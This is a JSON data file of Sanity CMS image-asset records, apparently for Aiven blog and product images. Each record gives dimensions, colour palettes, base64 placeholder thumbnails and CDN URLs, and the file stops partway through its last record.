{"_createdAt":"2022-09-27T15:19:55Z","_id":"image-134aa54917f7130de0756fb38e637c920de80d35-1600x1074-png","_rev":"sI1gFaRN7B5HWmjllKhvRd","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T15:19:55Z","assetId":"134aa54917f7130de0756fb38e637c920de80d35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYPZGmAG8_O@8_ysr?%1xtRj4TWBx^sokqk@i_i^fPRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.48975791433892,"height":1074,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADvUlEQVQ4jUWQbUxbZRTHr1EZsBljFt/mPqhLjCxmC4M1I8NslGHMzNgHk+k+iR0xI8xEXkZbnRuDQZAXixWKYy0M5yKbS4ZUR4OJWyKJJhPHJtzCoNDeXl7WUEbv2/M89z73PObWGT/8cpLz4Xf+/8PJKmR1es/vOFh65OOdtiJfTl5RICfP7s/JswdydhX5X8/d79+eb/fv3lfau//gUa/zzBcDt/+6O7uaTDJFUZhhGMw0Ydqg9AMFkQwumSJZVdXuN48cdfSVHT8ZOV7bvFjhbBMrnG2LFc5W0aLS1S5+ctoruprPC13915f+nAirq8mHgBBilFJmmnTKwFqZFruTyYkrqayaWldxQ0PzcPCnUTx+b4ZNTM2zO1MRNjEVYXf5BXZvOsomZ2JsajbOZqNLbPlBkqUkGTDGYCWkSjJqzN5y0wtvPc8Ji2tZLvep4p6eb34Mh8MaITrDWDdVFQHBBEyDgqlToLoBpmkCpRQ0TQNFVkDTkCVlZGVGNm51XDZbXs3l4o+EPl/PMM/zCCHMJFmDtbUUyJIMREWAUyqoKdmqCBgTkGUFJElKiwkhzFj6W6ej9TfMppcKOUFMZp6scxd1+3xDPG8lJMy6LKUkUKxaqgZYRYA0DBjrQIgOivKfEIGu64wuTxrmaP1IWjg3v/ykw1G+x+v9+irPh1VLiBECVZJAlWVAqpJOhQgFjCkQrIOqaqAoanpPKWXwgDfMX86OmE1bC7ku38XHSkpKdng8nkvhcFjVic4IRmmZhfZIiAkFkkYHWZZhfX09XVknhBFh3NB/do+Y57YUcqK4xNlstu0ej2dgZua+YlLKDF1Pi5Cigo4RmIYBYJrAwBpm+peKlR5heLi6woSbF43VnkM32Ocb93Jeb9cTdrs9t7Gx8fLY2JgmCAKLLkRh7v4cROYiEFuIQTwWh7ggQlxcTCMIIsSEOEQFEcb/+I392vmRHq57OYQ/3bSP8/v7Xjx2rPxA5YkTgY6OL6e/7e9d/r6/UxsMtLIrgVZ2NdDGfuhr/5fA/1yzpr+dDbS72GBNMb1dve3mfGP+Ia67u2drTU1tflmZ473y8vLKFtf7rddai38PdRSuhNr2JkZaChKh5oJEqHFPYqTelgidtiVCp3YnQu78RMiZlwhV70yMVb22zDu3DfENBW9zVVU1jzs+LNtQevjd7MPvHNg42fvKrrUrW5qkwReGpO+eC0r9zw5LFzYHJd8zQemrp4NSx1NBqWVTUDqXHZTOZA7Ln20IKq6MIbUu46xUl/3GP+VHAnNQxloXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544c2c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88109","foreground":"#000","population":5.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c4a1","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96b8dc","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5874a4","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88109","foreground":"#000","population":5.42,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-postgresql.png","path":"images/sczeoy4w/production/134aa54917f7130de0756fb38e637c920de80d35-1600x1074.png","sha1hash":"134aa54917f7130de0756fb38e637c920de80d35","size":88532,"uploadId":"VJI4FgnMHZLKPwg667yXOc4g4xfrAS44","url":"https://cdn.sanity.io/images/sczeoy4w/production/134aa54917f7130de0756fb38e637c920de80d35-1600x1074.png"} {"_createdAt":"2022-09-30T13:42:31Z","_id":"image-beadaa503b9938312fbb085cdf070c4dd202a1ae-2500x1308-webp","_rev":"XMqVxILwpPMz4xYxc7aqYE","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T13:42:31Z","assetId":"beadaa503b9938312fbb085cdf070c4dd202a1ae","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPQcM4*0s:D%_3KSRiV@t7t7_3D$WC%2Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQj/xAAkEAACAQMDAwUAAAAAAAAAAAABAgMABBEFBhMhMUESFCJRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMAAv/EABkRAAIDAQAAAAAAAAAAAAAAAAECAAMREv/aAAwDAQACEQMRAD8A6Bks7v3zSrfyCP1Z4/H5U/vrXbrTZYBBzsuD0iGSW8ZqyRRyydB3rJoo3kQtGjEfYBobLmAOR0rGxbtC+vb/AEOG4vUeKZyfi3cCinkCgJgAAUVlGbkaZOB0Z//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504f4f","foreground":"#fff","population":5.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b85c10","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#504f4f","foreground":"#fff","population":5.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0ccbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edd45d","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6484a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed951e","foreground":"#000","population":3.32,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Karapache_explained_sm.webp","path":"images/sczeoy4w/production/beadaa503b9938312fbb085cdf070c4dd202a1ae-2500x1308.webp","sha1hash":"beadaa503b9938312fbb085cdf070c4dd202a1ae","size":128734,"uploadId":"ZLIXzi9VSt1P7krd8muaUs4Cp0xYBgX0","url":"https://cdn.sanity.io/images/sczeoy4w/production/beadaa503b9938312fbb085cdf070c4dd202a1ae-2500x1308.webp"} {"_createdAt":"2022-09-30T13:45:42Z","_id":"image-b22f1d09ce4f00336d855c58eded5c000a54bb7b-1567x844-webp","_rev":"XMqVxILwpPMz4xYxc7bJYC","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T13:45:42Z","assetId":"b22f1d09ce4f00336d855c58eded5c000a54bb7b","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQc0TpyxtR4pIOvRki^XSs.-:MxM{t8fP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADLElEQVQokR3MW2/bZBgAYP8kLrjiGm4ZEtK4BISERDUhEBeAQAhprNJENaCCgAvpmm0sG1Ezp13pWnpI7DZN0hzapjnUztHxZzv+Ph/iOGmyNu+L4OK5fbiuas0rDW2jftE9uJBVsX7RFc8rTbFW70hqjyUtGmxRNnpu0eFziwbblI1SlI0lao9Ft5Y9CDbvpL3j+BEz+huMDee5k9P6k5SYVff2D4OUmBkkUxl/P3nkH+fLfrtj+hYbudQeOz2NOY2m5nVVyyca9fs94nulv4fjxBf+cG9x5J3tqE6vHeUKxepaMnXk7u2nMSVmMJnKYDpdwFq9g7ruIDMosl4XW/U6ZrOF/xUOJSwn11FdX0D/9xt4GbmJo+27rtc6SXCttiHISs+WlR4qDW0mKz1otQ0wzAFYfQ+M6jGQ/QhUd57AP5sbsLoah9ifEYiv/ALboc+hcvu1mbfwKo43v7X9buUZZ9FAoCxwKAuQsgAoHQKlPpiWD3LHgaODHIjREEgxHjYTcXgajcLjSBiiD5bhEf8jxOffh8riO+iKYTvQGwLH7EBgduAwNkSb+WCzATjMQU2zcLeg48+CguHYAUp7O1iQtjC7EUHp/je4u/QVCvx38Pjel5BcuYMk/8Ie6bLA2cwTbOY6/yUOZeBSCp7VB1PTQMrVIRTLw8NEBirHW2DmfgJr8xaYy28BCb0JMv8epPlPIRsPoV6W7IleFTjXsgTX6tueZeLAMmaDPgG/r8HAUEFvXUClVIRK4Qja2Qg0hbehFn4Fusuvw+jRTZg8/QCs6NxMe7GIXl2yr/TTZ5yvttacjuKyroIuaWFgdnBktnFsNvHSUPBSv8ChWsZeaQ3T0Vu4tvAG5sLvop/4DGH9E5zEPsSh+CtOWml3RooJLpBP7rPzfFWvFQ27U9XGukwuDZlMjDqZ6jUy1atkSspk0MyRxsFfJLf6PVG2QuQy8weB7a+Nl/E5Y5J/aF6ruSqQ/DI3ap/NeUrpB7t5uuSrld8meo2f6lV+qp/zL/Uyf0XO+Gtyws9Iib/qZvmpss9ftQ95aOwuwe7tleu1jx9cl1fDM1K8B9rxR/8CCq3aWG89XbcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30374a","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c18517","foreground":"#fff","population":0.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6800b","foreground":"#fff","population":7.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c0b3","foreground":"#000","population":3.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1be84","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6800b","foreground":"#fff","population":7.82,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Apache_Kafka_governance_blog.webp","path":"images/sczeoy4w/production/b22f1d09ce4f00336d855c58eded5c000a54bb7b-1567x844.webp","sha1hash":"b22f1d09ce4f00336d855c58eded5c000a54bb7b","size":43974,"uploadId":"Q8D8VSx8CwXfGwiGyrvN8IOY4IsAgeSD","url":"https://cdn.sanity.io/images/sczeoy4w/production/b22f1d09ce4f00336d855c58eded5c000a54bb7b-1567x844.webp"} {"_createdAt":"2022-10-25T08:31:30Z","_id":"image-e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710-png","_rev":"VpqI6rTG30oq7pRBY3GIiO","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:31:30Z","assetId":"e35333d01a349492e8f59d85a4555ee5fd4ac700","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MnS#;#oLiwt7aJy?fQozkCkCVYjZo#j[bv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0690140845070424,"height":710,"width":1469},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABzElEQVQokVWQzWsTURTF5990KYpJtUkoogFB3agrF+JGcSG6rKUmJrUERBNslSRtbGMM1hYXtQ1NmunMm3lv3sd9796RadWaH4ezOPdeDlwv/R9nLeciDHjMDQDOQkQzy2nqpf8iIgKjfX96eDgZT+I4VrMAwPk9UUrkkeRks5SI0FotRBSGjDEuhEiS5NTOMMac9RMigaEk9qC/hidjdNZaa4zWxgCA/QsAaK2VUlprC4DOZZfWuPG+6b33kpcP7F7fGZ0oFXHOpdTWgnPutMQhKq25EIlSBsBZS+hQJaa/Jp7c8vijMgw3nJIJY9HxhPvHMjjRLLRKZl9yFhKuAl8HPoQBRiHJBEWsO+/i+3lPPL4Dwy8oIvj1Uw+6pt+B7a4dbOHRiIwho+hoH3e2cNijQS/9tp2ODogFpv2B3yt6/OFts/HJjUfux1fXbbl2031uuvY67u04f+qmE9wd4OZH7LSw3cLOOu5+d6MD3WzEd0teXC6IF8/k2zey/lpWX2WqLMnqkqxX5GpdrtZkbVlWF2VlMRvVllVjRTZWxPOn8c1rHrt4gc1dYsX8H5XyrDSXeTHHCjlWuHKuYo4tXI1ulKLyQnR9Pp6//BvVLxA9yXjj+AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1e07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c4c","foreground":"#fff","population":2.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea096","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c51","foreground":"#fff","population":0.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bb7470","foreground":"#fff","population":0.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c4c","foreground":"#fff","population":2.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710.png","path":"images/sczeoy4w/production/e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710.png","sha1hash":"e35333d01a349492e8f59d85a4555ee5fd4ac700","size":65073,"uploadId":"v0nv35w6kNwRo2y68boKm1aNiNL3hrUf","url":"https://cdn.sanity.io/images/sczeoy4w/production/e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710.png"} {"_createdAt":"2023-05-05T10:00:28Z","_id":"image-2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4-614x614-png","_rev":"QpIjbIkE1ssA0KivVDprV8","_type":"sanity.imageAsset","_updatedAt":"2023-05-05T10:00:28Z","assetId":"2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBMe5w|_E}|_E}]nJRo1JR]U1HE}soE}]n1u$PS2w{JR1aWow{WoE}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":614,"width":614},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAADa0lEQVQ4jU1Vy4+ecxj95qIpLSqoaoeOEXfJ1HNGFOE5xGU6EuEPKEKVBUEkEgs2lFhYuCyIhcQtYSFxCWlsGolIu+mCSKMkaESjco4oaY3pjDzv+/vaLn753u/9Pec89/MODA6Onsj2y4HQn+Hd8c9GDhQ5EI7ZD++GwDGDJxgc7Qw7485gfPi+AYZ2Yx2uHPdkIwqOK7is/kwIvF7grJAXCFkXBZgw8kYjbzE4ZXCNwWsM3mZwg4Mn9ZHnMoPnG7xJ4KYifNLgJ0J+LuRmIU82uNbgQ0ZuN/Ijg/ca3Gzk+wK/MvI5B8v5qMGLDD5l8FOB71R63xs8pMhfDT5mcJXBqw1+bPBfgz8YfFbgqwZ/M3jEwR0GbzV4hsF7hNxt8BeBb1aE84pcKkJFPmFwnZG3C9wp5JLBvQafNviCwX0Klm05eVjgjJAvO2hH7ha4tQj/cw+UkG8b3KrIAu/tHXWEjxq8z+Aug2VrIV8XcovB7QIPOvJDRW5shFxUZEW6X5F7FPmzIv9p4IrmQYM3GPyglWHekV878l11jvm7g88LeXa1fUHBRfWkR4RcUOSC+lpVej8avN/gxQa3KfKAo8voD0f+ZPCggt92tQwur6ZUhAU85MjvDH6h4C6Bau+HhGsceZciC7zo4ILRncMCPzN4nSJHaurn1ad2wOArRtacPW7wm+MIHzB4qsFr3YMr7cUWqQy+pMipWojaiPJSF/sMPtKPQs4Z3NneV3Oq+DXI6wvcSJaKUJF7qsaKLIeDasrfBv8yuMPBOwyubNvxpcE/q4sG59rKndIaVGkfNrhf4FvVXUWO125XhO8ZfMPgFkWe0+9rbjDyGSFfU+TdNZvdzvagKxW5rXACXzS4qcrRdrojTIMztW4CVzhyuZCnGwxFXiVkkZ1YHVTkKkWuVeRlXVTgJW2zSkQ6QakuzyoSrT5QZBicbA1g29X6v16RM0ZOC3lhT5hFOGHwXCNXlIzVHNYu3mxw2sE5RVYK00bOVjoCpxV5qYNTzdkVPTHvVGRlV7Ybe1KOVt6XtwhWOzipyEkhzzRyncGz+vrkaUauFKqT3fNqgVNCVnQ1n+c5soSiCLNEddTBkV4os52hMjdFLjU/dkaE7OzbGVOwOLoaNkCpb6/Ww+ci7Eg7de7Jhp+Co8rePhtDlf8fxpi+Os38qIoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#582a26","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91060b","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f43141","foreground":"#fff","population":5.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#910713","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f43141","foreground":"#fff","population":5.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#995451","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c42","foreground":"#fff","population":1.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"HVCapital_52x52mm.png","path":"images/sczeoy4w/production/2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4-614x614.png","sha1hash":"2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4","size":9008,"uploadId":"EoKjr2qrzc8fcXTZbNhTbWFbmfhvW9O5","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4-614x614.png"} {"_createdAt":"2022-10-06T06:24:45Z","_id":"image-7f602feea817fdc77686587e1b08155b96fdbed8-3133x1688-png","_rev":"finHKG0Do1l69rhzq170VV","_type":"sanity.imageAsset","_updatedAt":"2022-10-12T05:24:39Z","altText":"I SEE YOU - Watch your Aiven metrics with CloudWatch","assetId":"7f602feea817fdc77686587e1b08155b96fdbed8","description":"Keep watch on your Aiven metrics with Amazon CloudWatch - blog hero image.","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA9%rT16,,t7E3T#^iE2kDw[Nz-TI[xFax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACa0lEQVQokR3Q20/aYADG4dKvgGTzAAMHjuASbPu1BZGCCMphUabTKAMiQunp69ExFXVxJs6BOnUeINvVsn93Yclz+7t4X8yTPPAudl+lj6b4w8nkgY/v+Hnbt2BOxvWpmOrlFC8n+TjJv6AF+H0f/9mT6ADOdjCmgzGwmfwpX+0v792ma9eJnV66fpPdu+VrV/Ht74ntb+nKZWrnIrl1nq5c5HZvUvWbcOmrO24DWgM0wmbzh4VGv6I/flB+Fps/SuLDuv5rFQ3z7YeS9FRGw7I2LKPBGnou68OC9BRZPXfF93Fo4IyBRZbsXOV8Q7h61+hlq5eZWq8o3Bfb95ndm+zeXUF6LsmDUa8NStJjsnYdyHVdrOlmDRdrYl5OepPSZpes8KI1s2gHM59mcoeh5W4gdzy9chosnoXyX8L540ihGy0eRVc6vnk0PS9xOeVtSsbcc8IIKTpp5T8EGANnTZyzcNYCrAUYE0DNTStkRt7ckldK7XJZsJrS+nsRIyiFoBRAqTit4VAbLWFtjLUdrIHD0SsjlDJGitmS2LeVnin3Lfmuo9YrCuakZBcpuSjJRcmAVnHGcLCWgzVxRgcQAYgIWvVQUjAmbG5Iv4/R3zPtz5n21NWrVR2boFoBKPg5aRyKbrLtJCWCVghaBbQKIMIZA0DDH0eFVcUS0HNXH5wYgxOjf2BufjSxANWIxNrhJPJysmeu5Y62XKQ4iqEGoEZAjaBRII4Ka6heRe2G1tzVmw2zWjMTJR17QQoTUBxn5DGoOCmZoGSCVnFoOBgLQN1JymPR1su55jTXCiXEUEIOLqiveSOQNCZi6j90/anZLvNIUAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3860","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9db1cf","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ad65","foreground":"#000","population":4.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7664","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef9d48","foreground":"#000","population":0.18,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"AWS_CloudWatch_blog.png","path":"images/sczeoy4w/production/7f602feea817fdc77686587e1b08155b96fdbed8-3133x1688.png","sha1hash":"7f602feea817fdc77686587e1b08155b96fdbed8","size":143941,"title":"I SEE YOU - Watch your Aiven metrics with CloudWatch","uploadId":"u9rUUN5SOQzE3TTJfELdDYGFuVnq4zYa","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f602feea817fdc77686587e1b08155b96fdbed8-3133x1688.png"} {"_createdAt":"2022-10-25T14:25:43Z","_id":"image-bfe681b61a67e6820672c637a38b3f2645934078-1030x792-png","_rev":"9EhxcQHTplKyRiLd2PuyQ0","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:25:43Z","assetId":"bfe681b61a67e6820672c637a38b3f2645934078","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJD0A79E%F_1M^D$t9-.M_-n4n-=M{D+%M~pD%D+%NM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3005050505050506,"height":792,"width":1030},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD8UlEQVQ4jXWUbUxbVRjH//eee9vblrZA3y59gaa8dasFwQ1lRYPQF0CQIZsE3+ZYXGp0umjm9tE4Z5GZLDOgyEApVEHYjNPyQRQngaKx25hQMUqGvDhIRMsYmBGIwdxuRj64J/nlPOfJc/7nf/IkB7MTIO5iSFgWBgC5AAoBOAlBZbwSFWoVHDSNfJEI7iQe5Ro1ygiBS+gBUAFgt4SDo9QFfnMVLK7Pgat7EonxyphgEkVBC0BHCPQJ8eDVKqgBJGo10LmLYCrIh1EqjfUIdZ1YBH2qBdravZCsLIDCyFdIOPYSklJMSAIQJ+HAACAChICw7K3cbgN55TBYbx1YnQZEJuOEOv2WL1PW0Zpramnaobq/YBvwcTuK3juN7J250AOQKRX/Cd4JEQtGKlMzqWYwn53bk9Z3/rmqrsCLd7tcxTS6PsCJ7nZUlLpgAiDldf8vSFEgDAPCcSBGgyrW0/uhPX40/FrN5bD/5IWB7uJEdSGFQCtaezpQU1WBZEEw2Xhnh3EyiphTtIQmGaThOCUZu/R8wczUWf/M9MXg6OjFEgAU2prQ8lEb9lZXwghAYjHHDtP/wjCgExMInZ6mJqbkHAKo6PfflUmufP/UjrlfO05F/4xMLy7OD0UiP3pigoEzaOvxo6a68taTrRkMw/NSkmxSkswMnklPzySMeGfsErsVzPmezMSxS88Wzk61n74eHb+6dnN5fWlpKRSJjHsIDQo9fjT0duLhhzwxh9Lbz6O2YtGDaXtHo/x28NHtP0def/ra7Cfdy0s/zW6sr25sbGz8HY1Gh8fGxjxiMUfhbCecLW/Dlm0HL5OJ5QfrzNybJ3KkHW33Kj7tdWu/+XJf6pXwUccvE6cOzE33NP/x+3eX/1q9dmNj/ebm2tra5uLi4ubk5OTI0NCQh+d5Ct3tkDzggFyjJrrq3bzZdzwrq6Xpwfzerhr3F30vPD4yVH90/IfO5qmrA/0L85GJaHTht5WVGwvLy8sLMzMzC+FweL6/vz/o9/udHMex2NyEEBKFghiLC1W53mfSSo4dydvzxvGqJ5qbDnu7uxqO9AU7Xr3w9ef1oeGBk6HQcH0oFPINDg76gsGgLxAI+BobGw95vd57KIqKx8H9FMWy4FiG4lOSRWmO+xTbC3bxtl351ruKihz2srISe3l5hf2xWnf2gf0FuY9UFWa53W6bx+O2uVwum9PptOXl5W3TarVmABqcC8QcCoOQ5WRBsa8WSrMJcmG/BTkFKMwmKIV8S10YokACAD4meDsEl+TlQ4TpPCMSlbolYq1GKdbptOKkJJ7jeZ4zGPSc0aiPrQaDIYbFYhFZrVZWLpfH0TQtfBaqfwA4CTCFvyZSUwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342c49","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f710f","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5f208","foreground":"#000","population":1.09,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4df6c","foreground":"#000","population":0.24,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c934b","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5f208","foreground":"#000","population":1.09,"title":"#000"}}},"mimeType":"image/png","originalFilename":"bfe681b61a67e6820672c637a38b3f2645934078-1030x792.png","path":"images/sczeoy4w/production/bfe681b61a67e6820672c637a38b3f2645934078-1030x792.png","sha1hash":"bfe681b61a67e6820672c637a38b3f2645934078","size":21504,"uploadId":"s7qeXGd6RbVvMrdjiojXjuSkgrR3DYzZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bfe681b61a67e6820672c637a38b3f2645934078-1030x792.png"} {"_createdAt":"2022-10-25T14:25:05Z","_id":"image-4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788-png","_rev":"DqbZPlWf2gzTA6NYtHFdTj","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:25:05Z","assetId":"4b09be0810a20ad5be0522095675e84a1ce32b87","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5Gu$}~e00kF00R@07IVt3-#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.512690355329949,"height":788,"width":1980},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACkUlEQVQokQXB608SAQAA8DMfwxDhgLuDOw6EfCxBdAyQHCrhBDmShwoJJuam0KCwFFHBNbXZ8JlEK7ojHoKGqENx+qnY3PzSf9XvB6AoUi8SoVyRUMCGIRBE+SxJ6xMOLpOCXBTliDAU4uE4ExII2K0iEdgiwOhCHo/VAcOgAASZCARBYg6H2UKn1whpNAABCAJhWkYF6okJQbfbxWl56eT1jY8LukZGYNzhwDVTU2KpzcqWWCywzmjkyw0GTrvDgQ3YbPhTvR6WOJ1Crd/P0ft8j4ZMI4AMeOunsXw+XLe52eekKJuLJK1ekvTaU1R4iKJezWTSb8YoaskYj3tm4/F3Vop8byRJt+c4FyKy2WVjJmOfTaXkga2t5kWPhz4MjFl59IUFQ1ciEfyQy61nT09jmXI5d3h19Xv3/Pznt7Mz8qhSKe1Vq5Wvt7elLxcX6cNSKRm/vi7ulssn+5eX8f18PrAUjcqmJyfxXsBslnR4vf19BwfBmWRyYyObTURubtKRSiX1sVjMhIrF76t3d8fRf//+LFer5Ofrq9juycmPlULh10qhkFotFFL+RGLdPjen7bGMdn